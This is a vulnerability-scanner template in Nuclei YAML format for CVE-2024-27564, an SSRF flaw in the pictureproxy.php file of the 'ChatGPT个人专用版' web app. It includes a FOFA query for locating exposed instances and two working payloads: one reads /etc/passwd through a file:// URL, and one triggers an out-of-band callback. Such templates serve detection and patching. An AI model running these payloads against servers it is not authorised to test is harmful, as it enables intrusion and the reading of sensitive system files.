id: CVE-2024-27564

info:
  name: ChatGPT个人专用版 - Server Side Request Forgery
  author: DhiyaneshDK
  severity: high
  description: |
    A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.
  impact: |
    Attackers can force the application to make arbitrary requests including reading local files and accessing internal resources via SSRF in the pictureproxy.php file.
  remediation: |
    Update ChatGPT个人专用版 to a version that addresses CVE-2024-27564.
  reference:
    - https://github.com/dirk1983/chatgpt/issues/114
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27564
  classification:
    epss-score: 0.91891
    epss-percentile: 0.99707
    cpe: cpe:2.3:a:chanzhaoyu:chatgpt_web:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: chanzhaoyu
    product: chatgpt_web
    fofa-query: "title=\"ChatGPT个人专用版\""
  tags: cve,cve2024,chatgpt,ssrf,oast,oos,lfi,vkev,vuln,ai

http:
  - method: GET
    path:
      - "{{BaseURL}}/pictureproxy.php?url=file:///etc/passwd"
      - "{{BaseURL}}/pictureproxy.php?url=http://{{interactsh-url}}"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(header, "image/jpeg")
          - regex('root:.*:0:0:', body)
        condition: and

      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
          - contains(header, "image/jpeg")
          - status_code == 200
        condition: and
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